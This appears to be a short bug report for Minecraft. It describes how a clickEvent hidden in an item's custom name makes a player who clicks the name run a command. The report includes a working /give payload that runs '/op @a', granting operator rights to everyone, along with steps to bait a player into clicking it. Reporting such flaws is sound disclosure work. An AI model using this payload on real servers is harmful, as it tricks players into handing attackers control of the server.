Getting an item with clickEvent in it's name allows command execution as a player that clicked it.
Steps to reproduce:

1. Execute the following: /give @s netherite_sword{Damage:0,display:{Name:'{"text":"click me! ","clickEvent":{"action":"run_command","value":"/op @a"'}}}}
2. Kill a player with the item you got.
3. A player (out of curiosity) clicks on item name, executes the command / sends a chat message, without knowing what would it do.